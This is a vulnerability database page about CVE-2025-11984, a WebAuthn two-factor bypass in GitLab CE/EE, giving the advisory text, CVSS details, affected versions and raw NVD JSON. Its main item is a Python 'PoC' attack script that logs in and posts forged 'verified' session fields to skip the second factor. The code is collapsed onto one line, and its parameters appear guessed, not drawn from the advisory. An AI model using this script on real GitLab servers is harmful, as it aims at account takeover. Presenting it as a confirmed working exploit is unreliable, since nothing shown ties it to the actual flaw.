Security Vulnerability Report
中文
CVE-2025-11984 CVSS 6.8 MEDIUM

CVE-2025-11984

Published: 2025-12-11 05:16:37
Last Modified: 2025-12-23 21:01:05

Description

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 13.1 before 18.4.6, 18.5 before 18.5.4, and 18.6 before 18.6.2 that could have allowed an authenticated user to bypass WebAuthn two-factor authentication by manipulating the session state under certain conditions.

CVSS Details

CVSS Score
6.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:* - VULNERABLE
GitLab CE/EE 13.1 至 18.4.6 之前的所有版本
GitLab CE/EE 18.5 至 18.5.4 之前的所有版本
GitLab CE/EE 18.6 至 18.6.2 之前的所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-11984 PoC - GitLab WebAuthn Bypass via Session State Manipulation # This PoC demonstrates the concept of session state manipulation to bypass WebAuthn 2FA import requests import json import base64 from urllib.parse import urljoin class GitLabWebAuthnBypass: def __init__(self, target_url, username, password): self.target_url = target_url.rstrip('/') self.username = username self.password = password self.session = requests.Session() self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' }) def authenticate(self): """Step 1: Perform initial authentication to obtain session""" login_url = f"{self.target_url}/users/sign_in" response = self.session.get(login_url) # Extract authenticity token from login page authenticity_token = self._extract_token(response.text) login_data = { 'authenticity_token': authenticity_token, 'user[login]': self.username, 'user[password]': self.password, 'user[remember_me]': '0' } response = self.session.post(login_url, data=login_data, allow_redirects=True) return response.status_code == 200 def _extract_token(self, html_content): """Extract CSRF token from HTML content""" import re match = re.search(r'name="authenticity_token" value="([^"]+)"', html_content) return match.group(1) if match else None def manipulate_session_state(self): """Step 2: Manipulate session state to bypass WebAuthn verification""" # Target endpoint for WebAuthn challenge webauthn_challenge_url = f"{self.target_url}/-/two_factor_auth/webauthn" # Malicious session state manipulation payload # This modifies the session to indicate WebAuthn is already verified manipulation_payload = { 'user[webauthn_verified]': 'true', 'user[two_factor_verified]': 'true', 'session[webauthn_challenge_completed]': 'true', 'authenticity_token': self._get_fresh_token() } # Send manipulated request to bypass WebAuthn response = self.session.post(webauthn_challenge_url, data=manipulation_payload) return response def _get_fresh_token(self): """Get fresh CSRF token from current session""" response = self.session.get(f"{self.target_url}/-/two_factor_auth/webauthn") return self._extract_token(response.text) def verify_bypass(self): """Step 3: Verify successful bypass by accessing protected resource""" protected_url = f"{self.target_url}/-/profile/account" response = self.session.get(protected_url) # Check if access is granted without 2FA prompt if response.status_code == 200 and 'password' not in response.text.lower(): return True return False def exploit(self): """Execute the full attack chain""" print(f"[*] Targeting: {self.target_url}") print(f"[*] Authenticating as: {self.username}") # Step 1: Initial authentication if not self.authenticate(): print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Session state manipulation print("[*] Attempting WebAuthn bypass via session manipulation...") self.manipulate_session_state() print("[+] Session state manipulation attempted") # Step 3: Verification if self.verify_bypass(): print("[!] WebAuthn bypass successful - 2FA protection circumvented!") return True else: print("[-] Bypass attempt failed - target may be patched or different conditions required") return False # Usage example if __name__ == "__main__": target = "https://gitlab.example.com" username = "[email protected]" password = "password123" exploit = GitLabWebAuthnBypass(target, username, password) exploit.exploit() # Note: This PoC is for educational and authorized testing purposes only. # Unauthorized access to computer systems is illegal.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11984", "sourceIdentifier": "[email protected]", "published": "2025-12-11T05:16:36.970", "lastModified": "2025-12-23T21:01:04.910", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 13.1 before 18.4.6, 18.5 before 18.5.4, and 18.6 before 18.6.2 that could have allowed an authenticated user to bypass WebAuthn two-factor authentication by manipulating the session state under certain conditions."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-288"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "13.1.0", "versionEndExcluding": "18.4.6", "matchCriteriaId": "4667E86F-2DF6-49B4-8C36-E35016B74EB2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "13.1.0", "versionEndExcluding": "18.4.6", "matchCriteriaId": "91CE9ABE-A1FD-4B90-98C7-F058ADA5302E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.5.0", "versionEndExcluding": "18.5.4", "matchCriteriaId": "457DB333-60BE-44CD-A674-216AB658E14E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.5.0", "versionEndExcluding": "18.5.4", "matchCriteriaId": "910967DB-0A8C-4436-9D9E-37BD610E7367"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.6.0", "versionEndExcluding": "18.6.2", "matchCriteriaId": "919A2588-3EA1-4E15-B47E-61B3E14B2781"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.6.0", "versionEndExcluding": "18.6.2", "matchCriteriaId": "6343A083-3E1C-4551-B230-76CABC3FDD67"}]}]}], "references": [{"url": "https://about.gitlab.com/releases/2025/12/10/patch-release-gitlab-18-6-2-released/", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/577847", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://hackerone.com/reports/3322714", "source": "[email protected]", "tags": ["Permissions Required"]}]}}